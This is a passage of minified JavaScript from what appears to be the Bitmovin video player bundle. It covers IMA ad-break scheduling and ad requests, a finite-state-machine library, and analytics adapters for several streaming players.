i,r;t.isImaSdkAvailable&&((t.schedulableAdBreaks.includes(n)&&n.discardAfterPlayback&&t.schedulableAdBreaks.splice(t.schedulableAdBreaks.indexOf(n),1),t.activeAdBreak)?t.queuedAdBreaks.push(n):(t.activeAd&&!t.activeAd.isLinear&&t.adsManager&&(t.onAllAdsCompleted(),t.resetActiveAd()),t.activeAdBreak=n,r=function(n){var i;return n.parentAdTag&&(null===(i=t.activeAdBreak)||void 0===i?void 0:i.parentAdTag)&&n.parentAdTag===t.activeAdBreak.parentAdTag},t.isAdLeftInCurrentAdPod=t.schedulableAdBreaks.some(r)||t.queuedAdBreaks.some(r),null===(i=n.vastResponse)||void 0===i||i.then(function(i){return t.passAdBreakToIma(n,i.manifest)})))})},t.prototype.getUrlFromAdBreak=function(n){var t,i,r;return null!==(r=null===(i=null===(t=null==n?void 0:n.fallbackTags)||void 0===t?void 0:t[n.currentFallbackIndex])||void 0===i?void 0:i.url)&&void 0!==r?r:n.tag.url},t.prototype.passAdBreakToIma=function(n,t,i){var r=t?f.AdManifestHelper.toDataUri(t):void 0,u=null!=r?r:this.getUrlFromAdBreak(n);u&&this.requestAds(u,i)},t.prototype.requestAds=function(n,t){var i=new google.ima.AdsRequest,r=n;0===r.indexOf("data:text/xml,")?i.adsResponse=decodeURIComponent(r.substring(14)):i.adTagUrl=this.applyAdTagPlaceholders(n);this.playerContainer&&(i.linearAdSlotWidth=this.playerContainer.clientWidth,i.linearAdSlotHeight=this.playerContainer.clientHeight,i.nonLinearAdSlotWidth=this.playerContainer.clientWidth);i.nonLinearAdSlotHeight=150;this.isFallbackAd=t;this.passthroughDownloadTime=Date.now();this.adsLoader.requestAds(i)},t.prototype.applyAdTagPlaceholders=function(n){var t=this,i={playbackTime:String(this.player.getVideoElement().currentTime),height:String(this.playerContainer.clientHeight),width:String(this.playerContainer.clientWidth),domain:encodeURIComponent(document.location.hostname),page:encodeURIComponent(document.location.href),referrer:encodeURIComponent(document.referrer),random:Math.floor(1e7+9e7*Math.random()).toString(),timestamp:String(Date.now())};return Object.keys(this.config.placeholders).forEach(function(r){t.config.placeholders[r].forEach(function(t){n=n.replace(t,i[r])})}),n},t.prototype.list=function(){var t=this,n=h(h([],this.queuedAdBreaks.map(function(n){return r({},n)}),!0),this.schedulableAdBreaks.map(function(n){return r({},n)}),!0);return n.forEach(function(n){return t.removeInternalProps(n)}),n},t.prototype.getActiveAdBreak=function(){return this.activeAdBreak},t.prototype.getActiveAd=function(){return this.activeAd},t.prototype.isLinearAdActive=function(n){return!!this.activeAd&&(n?Boolean(this.activeAd.isLinear)&&this.isAdPlaying:Boolean(this.activeAd.isLinear))},t.prototype.discardAdBreak=function(n){n&&(this.activeAdBreak&&this.activeAdBreak.id===n&&(this.onSkipped(),this.activeAdBreak=null,this.adsManager.stop()),this.schedulableAdBreaks=this.schedulableAdBreaks.filter(function(t){return t.id!==n}),this.queuedAdBreaks=this.queuedAdBreaks.filter(function(t){return t.id!==n}))},t.prototype.currentTime=function(){return!isFinite(this.currentDuration)||!this.adsManager||this.adsManager.getRemainingTime()<0?NaN:this.currentDuration-this.adsManager.getRemainingTime()},t.prototype.duration=function(){return isFinite(this.currentDuration)?this.currentDuration:0},t.prototype.pause=function(){this.adsManager&&this.adsManager.pause()},t.prototype.resume=function(){this.adsManager&&this.adsManager.resume()},t.prototype.skip=function(){return this.adsManager&&(this.adsManager.skip(),this.activeAd&&!this.activeAd.isLinear&&(this.adsManager.stop(),this.adContainer.style.display="none",this.resetActiveAd())),Promise.resolve()},t.prototype.getModuleInfo=function(){return{name:"advertising-ima",version:w.Environment.VERSION_NUMBER}},t.prototype.deInitialize=function(){var n=this.schedulableAdBreaks,t=this.unschedulableAdBreaks;this.reset(!1);this.schedulableAdBreaks=n;this.unschedulableAdBreaks=t;this.cleanUpImaSdk();this.initializeImaSdkDeferred=new l.Deferred},t.prototype.reset=function(n){void 0===n&&(n=!0);this.adPlaybackApiPromise=null;this.adPlaybackReporterPromise=null;this.getActiveAdBreak()&&this.adsManager.stop();this.resetActiveAd();this.schedulableAdBreaks=this.persistentAdBreaks;this.queuedAdBreaks=[];this.currentScheduleTime=0;this.currentDuration=null;this.activeAdBreak=null;this.hasContentStarted=!1;this.isFallbackAd=!1;this.isPreviousAdPlaybackApiActive=!1;this.passthroughDownloadTime=null;n&&(this.scheduleAdBreaks=Promise.resolve(null))},t.prototype.cleanUpImaSdk=function(){this.adsLoader&&(this.adsLoader.removeEventListener(google.ima.AdErrorEvent.Type.AD_ERROR,this.onAdError),this.adsLoader.removeEventListener(google.ima.AdsManagerLoadedEvent.Type.ADS_MANAGER_LOADED,this.onAdsManagerLoaded),this.adsLoader.destroy(),this.adsLoader=null);this.adsManager&&(this.adsManager.removeEventListener(google.ima.AdEvent.Type.CONTENT_PAUSE_REQUESTED,this.onContentPauseRequested),this.adsManager.removeEventListener(google.ima.AdEvent.Type.CONTENT_RESUME_REQUESTED,this.onContentResumeRequested),this.adsManager.removeEventListener(google.ima.AdEvent.Type.STARTED,this.onStarted),this.adsManager.removeEventListener(google.ima.AdEvent.Type.LOADED,this.onLoaded),this.adsManager.removeEventListener(google.ima.AdEvent.Type.SKIPPED,this.onSkipped),this.adsManager.removeEventListener(google.ima.AdEvent.Type.COMPLETE,this.onComplete),this.adsManager.removeEventListener(google.ima.AdEvent.Type.PAUSED,this.onPaused),this.adsManager.removeEventListener(google.ima.AdEvent.Type.RESUMED,this.onResumed),this.adsManager.removeEventListener(google.ima.AdEvent.Type.CLICK,this.onClicked),this.adsManager.removeEventListener(google.ima.AdEvent.Type.DURATION_CHANGE,this.onDurationChange),this.adsManager.removeEventListener(google.ima.AdEvent.Type.FIRST_QUARTILE,this.onFirstQuartile),this.adsManager.removeEventListener(google.ima.AdEvent.Type.MIDPOINT,this.onMidpoint),this.adsManager.removeEventListener(google.ima.AdEvent.Type.THIRD_QUARTILE,this.onThirdQuartile),this.adsManager.removeEventListener(google.ima.AdErrorEvent.Type.AD_ERROR,this.onAdError),this.adsManager.removeEventListener(google.ima.AdEvent.Type.INTERACTION,this.onAdInteraction),this.adsManager.removeEventListener(google.ima.AdEvent.Type.ALL_ADS_COMPLETED,this.onAllAdsCompleted),this.adsManager.destroy(),this.adsManager=null);this.adDisplayContainer&&(this.adDisplayContainer.destroy(),this.adDisplayContainer=null);this.adsRenderingSettings=null},t.prototype.dispose=function(){this.resetActiveAd();this.cleanUpImaSdk();this.playerContainer&&this.playerContainer.removeChild(this.adContainer);this.adContainer=null;this.activeAdBreak=null;this.activeAd=null},t.imaMarker=function(){},t}(ut.AdvertisingModule);t.ImaModule=k;t.collectAdData=p},3562:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.ImaModuleErrorCode=void 0,function(n){n[n.FAILED_TO_REQUEST_IMA_SDK=103]="FAILED_TO_REQUEST_IMA_SDK";n[n.VAST_NO_ADS_AFTER_WRAPPER=303]="VAST_NO_ADS_AFTER_WRAPPER";n[n.FAILED_TO_REQUEST_ADS=1005]="FAILED_TO_REQUEST_ADS";n[n.VAST_ASSET_NOT_FOUND=1007]="VAST_ASSET_NOT_FOUND";n[n.VAST_EMPTY_RESPONSE=1009]="VAST_EMPTY_RESPONSE";n[n.UNKNOWN_AD_RESPONSE=1010]="UNKNOWN_AD_RESPONSE";n[n.UNSUPPORTED_LOCALE=1011]="UNSUPPORTED_LOCALE";n[n.ADS_REQUEST_NETWORK_ERROR=1012]="ADS_REQUEST_NETWORK_ERROR";n[n.INVALID_AD_TAG=1013]="INVALID_AD_TAG";n[n.STREAM_INITIALIZATION_FAILED=1020]="STREAM_INITIALIZATION_FAILED";n[n.ASSET_FALLBACK_FAILED=1021]="ASSET_FALLBACK_FAILED";n[n.INVALID_ARGUMENTS=1101]="INVALID_ARGUMENTS";n[n.AUTOPLAY_DISALLOWED=1205]="AUTOPLAY_DISALLOWED"}(i||(t.ImaModuleErrorCode=i={}))},48467:function(n,t,i){var r,u,e,f;Object.defineProperty(t,"__esModule",{value:!0});t.ImaPassthroughMode=t.ImaModuleErrorCode=t.AdvertisingImaModuleDefinition=void 0;r=i(16368);u=i(22416);Object.defineProperty(t,"ImaPassthroughMode",{enumerable:!0,get:function(){return u.ImaPassthroughMode}});e=i(45641);f=i(3562);Object.defineProperty(t,"ImaModuleErrorCode",{enumerable:!0,get:function(){return f.ImaModuleErrorCode}});t.AdvertisingImaModuleDefinition={name:r.ModuleName.Advertising,module:function(){return e.ImaModule},dependencies:[r.ModuleName.AdvertisingCore],exports:{ImaModuleErrorCode:f.ImaModuleErrorCode,ImaPassthroughMode:u.ImaPassthroughMode}};t.default=t.AdvertisingImaModuleDefinition},24295:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.selectCompanionAd=void 0;t.selectCompanionAd=function(n,t){var i=n.clientWidth,r=n.clientHeight,u=t.getCompanionAds(i,r,function(){var n=new google.ima.CompanionAdSelectionSettings;return n.resourceType=google.ima.CompanionAdSelectionSettings.ResourceType.STATIC,n.creativeType=google.ima.CompanionAdSelectionSettings.CreativeType.IMAGE,n.sizeCriteria=google.ima.CompanionAdSelectionSettings.SizeCriteria.SELECT_NEAR_MATCH,n}());return u.length>0?u[0]:t.getCompanionAds(i,r,function(){var n=new google.ima.CompanionAdSelectionSettings;return n.resourceType=google.ima.CompanionAdSelectionSettings.ResourceType.STATIC,n.creativeType=google.ima.CompanionAdSelectionSettings.CreativeType.IMAGE,n.sizeCriteria=google.ima.CompanionAdSelectionSettings.SizeCriteria.IGNORE,n}())[0]}}},function(n){return n(n.s=48467)}])},883:function(n){self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[153],{7370:function(n){var t;self;t=function(){return function(){function n(i){var f=t[i],u;return void 0!==f?f.exports:(u=t[i]={exports:{}},r[i].call(u.exports,u,u.exports,n),u.exports)}var r={9363:function(n,t){var i;i={VERSION:"2.4.0",Result:{SUCCEEDED:1,NOTRANSITION:2,CANCELLED:3,PENDING:4},Error:{INVALID_TRANSITION:100,PENDING_TRANSITION:200,INVALID_CALLBACK:300},WILDCARD:"*",ASYNC:"async",create:function(n,t){var e="string"==typeof n.initial?{state:n.initial}:n.initial,a=n.terminal||n.final,r=t||n.target||{},c=n.events||[],h=n.callbacks||{},u={},o={},l=function(n){var r=Array.isArray(n.from)?n.from:n.from?[n.from]:[i.WILDCARD],t;for(u[n.name]=u[n.name]||{},t=0;t<r.length;t++)o[r[t]]=o[r[t]]||[],o[r[t]].push(n.name),u[n.name][r[t]]=n.to||r[t];n.to&&(o[n.to]=o[n.to]||[])},s,f;for(e&&(e.event=e.event||"startup",l({name:e.event,from:"none",to:e.state})),s=0;s<c.length;s++)l(c[s]);for(f in u)u.hasOwnProperty(f)&&(r[f]=i.buildEvent(f,u[f]));for(f in h)h.hasOwnProperty(f)&&(r[f]=h[f]);return r.current="none",r.is=function(n){return Array.isArray(n)?n.indexOf(this.current)>=0:this.current===n},r.can=function(n){return!this.transition&&void 0!==u[n]&&(u[n].hasOwnProperty(this.current)||u[n].hasOwnProperty(i.WILDCARD))},r.cannot=function(n){return!this.can(n)},r.transitions=function(){return(o[this.current]||[]).concat(o[i.WILDCARD]||[])},r.isFinished=function(){return this.is(a)},r.error=n.error||function(n,t,i,r,u,f,e){throw e||f;},r.states=function(){return Object.keys(o).sort()},e&&!e.defer&&r[e.event](),r},doCallback:function(n,t,r,u,f,e){if(t)try{return t.apply(n,[r,u,f].concat(e))}catch(t){return n.error(r,u,f,e,i.Error.INVALID_CALLBACK,"an exception occurred in a caller-provided callback function",t)}},beforeAnyEvent:function(n,t,r,u,f){return i.doCallback(n,n.onbeforeevent,t,r,u,f)},afterAnyEvent:function(n,t,r,u,f){return i.doCallback(n,n.onafterevent||n.onevent,t,r,u,f)},leaveAnyState:function(n,t,r,u,f){return i.doCallback(n,n.onleavestate,t,r,u,f)},enterAnyState:function(n,t,r,u,f){return i.doCallback(n,n.onenterstate||n.onstate,t,r,u,f)},changeState:function(n,t,r,u,f){return i.doCallback(n,n.onchangestate,t,r,u,f)},beforeThisEvent:function(n,t,r,u,f){return i.doCallback(n,n["onbefore"+t],t,r,u,f)},afterThisEvent:function(n,t,r,u,f){return i.doCallback(n,n["onafter"+t]||n["on"+t],t,r,u,f)},leaveThisState:function(n,t,r,u,f){return i.doCallback(n,n["onleave"+r],t,r,u,f)},enterThisState:function(n,t,r,u,f){return i.doCallback(n,n["onenter"+u]||n["on"+u],t,r,u,f)},beforeEvent:function(n,t,r,u,f){if(!1===i.beforeThisEvent(n,t,r,u,f)||!1===i.beforeAnyEvent(n,t,r,u,f))return!1},afterEvent:function(n,t,r,u,f){i.afterThisEvent(n,t,r,u,f);i.afterAnyEvent(n,t,r,u,f)},leaveState:function(n,t,r,u,f){var e=i.leaveThisState(n,t,r,u,f),o=i.leaveAnyState(n,t,r,u,f);return!1!==e&&!1!==o&&(i.ASYNC===e||i.ASYNC===o?i.ASYNC:void 0)},enterState:function(n,t,r,u,f){i.enterThisState(n,t,r,u,f);i.enterAnyState(n,t,r,u,f)},buildEvent:function(n,t){return function(){var r=this.current,u=t[r]||(t[i.WILDCARD]!=i.WILDCARD?t[i.WILDCARD]:r)||r,f=Array.prototype.slice.call(arguments),e,o;return this.transition?this.error(n,r,u,f,i.Error.PENDING_TRANSITION,"event "+n+" inappropriate because previous transition did not complete"):this.cannot(n)?this.error(n,r,u,f,i.Error.INVALID_TRANSITION,"event "+n+" inappropriate in current state "+this.current):!1===i.beforeEvent(this,n,r,u,f)?i.Result.CANCELLED:r===u?(i.afterEvent(this,n,r,u,f),i.Result.NOTRANSITION):(e=this,this.transition=function(){return e.transition=null,e.current=u,i.enterState(e,n,r,u,f),i.changeState(e,n,r,u,f),i.afterEvent(e,n,r,u,f),i.Result.SUCCEEDED},this.transition.cancel=function(){e.transition=null;i.afterEvent(e,n,r,u,f)},o=i.leaveState(this,n,r,u,f),!1===o?(this.transition=null,i.Result.CANCELLED):i.ASYNC===o?i.Result.PENDING:this.transition?this.transition():void 0)}}};n.exports&&(t=n.exports=i);t.StateMachine=i},2764:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.VERSION=void 0;t.VERSION="v2.32.4"},877:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Adapter=void 0;var r=i(6767),u=function(){function n(){}return n.prototype.getCurrentImpressionId=function(){if(this.guardAgainstNotInitializedAnalytics())return this.analytics.getCurrentImpressionId()},n.prototype.getUserId=function(){if(this.guardAgainstNotInitializedAnalytics())return this.analytics.getUserId()},n.prototype.setCustomData=function(n){this.guardAgainstNotInitializedAnalytics()&&this.internalAdapter.setCustomData(n)},n.prototype.setCustomDataOnce=function(n){this.guardAgainstNotInitializedAnalytics()&&this.analytics.setCustomDataOnce(n)},n.prototype.sourceChange=function(n){this.guardAgainstNotInitializedAnalytics()&&this.analytics.sourceChange(n)},n.prototype.hasPlayerAlreadyBeenAugmented=function(n){return n.__bitmovinAnalyticsHasBeenSetup},n.prototype.markPlayerInstanceAsAugmented=function(n){n.__bitmovinAnalyticsHasBeenSetup=!0},n.prototype.guardAgainstNotInitializedAnalytics=function(){return!!this.analytics||(r.logger.log("Bitmovin Analytics: Adapter hasn't been initialized yet"),!1)},n}();t.Adapter=u},4715:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.AmazonIVSAdapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(3159),h=i(8584),c=function(n){function t(t,i,r){var u=n.call(this)||this,o;return u.hasPlayerAlreadyBeenAugmented(i)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(o=new h.SourceUrlProvider,u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new s.AmazonIVSInternalAdapter(i,o,r),u.analytics=new f.Analytics(t,u.internalAdapter),u.wrapPlayerLoad(i,o),u)}return u(t,n),t.prototype.wrapPlayerLoad=function(n,t){var i=n.load;n.load=function(){for(var u=[],r=0;r<arguments.length;r++)u[r]=arguments[r];return t.m3u8Url=u[0],i.apply(n,u)}},t}(o.Adapter);t.AmazonIVSAdapter=c},8760:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8Adapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(351),h=function(n){function t(t,i){var r=n.call(this)||this,o,u;return r.hasPlayerAlreadyBeenAugmented(t)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),r):(r.markPlayerInstanceAsAugmented(t),o=t.getConfig(),u=o.analytics,void 0===u&&(u={}),u.playerKey=u.playerKey||o.key,r.internalAdapter=new s.Bitmovin8InternalAdapter(t,i),r.analytics=new f.Analytics(u,r.internalAdapter),t.analytics=r.analytics,r.wrapPlayerLoad(t,r.analytics),r)}return u(t,n),t.prototype.wrapPlayerLoad=function(n,t){var i=n.load;n.load=function(){for(var f,r=[],u=0;u<arguments.length;u++)r[u]=arguments[u];return r.length>0&&(f=r[0].analytics,t.sourceChange(f)),i.apply(n,r)}},t}(o.Adapter);t.Bitmovin8Adapter=h},5531:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.CAFv3Adapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(5109),h=function(n){function t(t,i,r){var u=n.call(this)||this;return u.hasPlayerAlreadyBeenAugmented(i)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new s.CAFv3InternalAdapter(i,r),u.analytics=new f.Analytics(t,u.internalAdapter),u)}return u(t,n),t}(o.Adapter);t.CAFv3Adapter=h},4921:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.DashjsAdapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(4827),h=function(n){function t(t,i,r){var u=n.call(this)||this;return u.hasPlayerAlreadyBeenAugmented(i)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new s.DashjsInternalAdapter(i,r),u.analytics=new f.Analytics(t,u.internalAdapter),u)}return u(t,n),t}(o.Adapter);t.DashjsAdapter=h},2989:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.HTMLVideoElementAdapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(889),h=function(n){function t(t,i,r){var u=n.call(this)||this;return u.hasPlayerAlreadyBeenAugmented(i)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new s.HTMLVideoElementInternalAdapter(i,r),u.analytics=new f.Analytics(t,u.internalAdapter),u)}return u(t,n),t}(o.Adapter);t.HTMLVideoElementAdapter=h},9894:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.HlsAdapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(7082),h=function(n){function t(t,i,r){var u=n.call(this)||this;return u.hasPlayerAlreadyBeenAugmented(i)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new s.HlsInternalAdapter(i,r),u.analytics=new f.Analytics(t,u.internalAdapter),u)}return u(t,n),t}(o.Adapter);t.HlsAdapter=h},4009:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.ShakaAdapter=void 0;var f=i(2343),e=i(4057),o=i(6767),s=i(877),h=i(4102),c=function(n){function t(t,i,r){var u=n.call(this)||this;return u.hasPlayerAlreadyBeenAugmented(i)?(o.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new h.ShakaInternalAdapter(i,r),u.analytics=new f.Analytics(t,u.internalAdapter),u.wrapPlayerLoad(i),u)}return u(t,n),t.prototype.wrapPlayerLoad=function(n){var t=this,i=n.load;n.load=function(){for(var u=[],r=0;r<arguments.length;r++)u[r]=arguments[r];return new Promise(function(r,f){i.apply(n,u).then(function(n){return r(n)}).catch(function(n){var i,r={currentTime:0,code:null!==(i=null==n?void 0:n.code)&&void 0!==i?i:void 0,message:JSON.stringify({category:null==n?void 0:n.category,severity:null==n?void 0:n.severity}),data:{additionalData:JSON.stringify(null==n?void 0:n.data)}};t.internalAdapter.eventCallback(e.Event.ERROR,r);f(n)})})}},t}(s.Adapter);t.ShakaAdapter=c},5553:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.VideojsAdapter=void 0;var f=i(2343),e=i(6767),o=i(877),s=i(6038),h=function(n){function t(t,i,r){var u=n.call(this)||this;return u.hasPlayerAlreadyBeenAugmented(i)?(e.logger.errorMessageToUser("Bitmovin Analytics is already hooked up to this player instance"),u):(u.markPlayerInstanceAsAugmented(i),u.internalAdapter=new s.VideojsInternalAdapter(i,r),u.analytics=new f.Analytics(t,u.internalAdapter),u)}return u(t,n),t}(o.Adapter);t.VideojsAdapter=h},558:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8HttpRequestTrackingAdapter=void 0;var f=i(3382),r=i(8105),u=i(1700),e=function(){function n(n){var t=this;this.eventDispatcher=new f.EventDispatcher;this.playerExports=n.exports;n.on(this.playerExports.PlayerEvent.DownloadFinished,function(n){return t.onDownloadFinished(n)})}return n.prototype.subscribe=function(n){return this.eventDispatcher.subscribe(n)},n.prototype.unsubscribe=function(n){this.eventDispatcher.unsubscribe(n)},n.prototype.onDownloadFinished=function(n){var t,i,r;this.eventDispatcher.dispatch({httpRequest:{downloadTime:null!==(t=u.calculateTimeWithUndefined(null==n?void 0:n.downloadTime))&&void 0!==t?t:0,httpStatus:null!==(i=null==n?void 0:n.httpStatus)&&void 0!==i?i:0,success:null!==(r=null==n?void 0:n.success)&&void 0!==r&&r,timestamp:u.getCurrentTimestamp(),url:null==n?void 0:n.url,size:null==n?void 0:n.size,timeToFirstByte:u.calculateTimeWithUndefined(null==n?void 0:n.timeToFirstByte),type:this.mapHttpRequestType(null==n?void 0:n.downloadType)}})},n.prototype.mapHttpRequestType=function(n){switch(n){case this.playerExports.HttpRequestType.MANIFEST_DASH:return r.HttpRequestType.MANIFEST_DASH;case this.playerExports.HttpRequestType.MANIFEST_HLS_MASTER:return r.HttpRequestType.MANIFEST_HLS_MASTER;case this.playerExports.HttpRequestType.MANIFEST_HLS_VARIANT:return r.HttpRequestType.MANIFEST_HLS_VARIANT;case this.playerExports.HttpRequestType.MANIFEST_SMOOTH:return r.HttpRequestType.MANIFEST_SMOOTH;case this.playerExports.HttpRequestType.MANIFEST_ADS:return r.HttpRequestType.MANIFEST_ADS;case this.playerExports.HttpRequestType.MEDIA_AUDIO:return r.HttpRequestType.MEDIA_AUDIO;case this.playerExports.HttpRequestType.MEDIA_VIDEO:return r.HttpRequestType.MEDIA_VIDEO;case this.playerExports.HttpRequestType.MEDIA_SUBTITLES:return r.HttpRequestType.MEDIA_SUBTITLES;case this.playerExports.HttpRequestType.MEDIA_THUMBNAILS:return r.HttpRequestType.MEDIA_THUMBNAILS;case this.playerExports.HttpRequestType.DRM_LICENSE_WIDEVINE:return r.HttpRequestType.DRM_LICENSE_WIDEVINE;case this.playerExports.HttpRequestType.DRM_LICENSE_PLAYREADY:return r.HttpRequestType.DRM_LICENSE_PLAYREADY;case this.playerExports.HttpRequestType.DRM_LICENSE_FAIRPLAY:return r.HttpRequestType.DRM_LICENSE_FAIRPLAY;case this.playerExports.HttpRequestType.DRM_LICENSE_PRIMETIME:return r.HttpRequestType.DRM_LICENSE_PRIMETIME;case this.playerExports.HttpRequestType.DRM_LICENSE_CLEARKEY:return r.HttpRequestType.DRM_LICENSE_CLEARKEY;case this.playerExports.HttpRequestType.DRM_CERTIFICATE_FAIRPLAY:return r.HttpRequestType.DRM_CERTIFICATE_FAIRPLAY;case this.playerExports.HttpRequestType.KEY_HLS_AES:return r.HttpRequestType.KEY_HLS_AES;case this.playerExports.HttpRequestType.TIME_SYNC:return r.HttpRequestType.TIME_SYNC;default:return r.HttpRequestType.UNKNOWN}},n}();t.Bitmovin8HttpRequestTrackingAdapter=e},351:function(n,t,i){"use strict";var u,l=this&&this.__extends||(u=function(n,t){return u=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},u(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");u(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)},c;Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8InternalAdapter=void 0;var e,a=i(3464),v=i(5032),y=i(9827),p=i(5939),o=i(8001),s=i(6087),r=i(4057),w=i(6473),h=i(2108),b=i(8458),k=i(3909),d=i(7999),g=i(2033),nt=i(7444),tt=i(6767),it=i(4960),rt=i(558),ut=i(8700),ft=i(1340),et=i(9782),ot=i(1078);!function(n){n.Inline="inline";n.Fullscreen="fullscreen";n.PictureInPicture="pictureinpicture"}(e||(e={}));c=function(n){function t(t,i){var r=n.call(this,i)||this;return r.player=t,r.onBeforeUnLoadEvent=!1,r.getPlayerVersion=function(){return r.player.version},r.getPlayerName=function(){return w.Player.BITMOVIN},r.getPlayerTech=function(){return r.player.getPlayerType()},r.getDrmPerformanceInfo=function(){return r.drmPerformanceInfo},r.stateMachine=new a.Bitmovin8AnalyticsStateMachine(r.stateMachineCallbacks,r.opts),r.speedMeter=new ft.Bitmovin8SpeedMeterAdapter(t,new v.DownloadSpeedMeter).getDownloadSpeedMeter(),r.segmentTracker=new ut.Bitmovin8SegmentTrackerAdapter(t,new 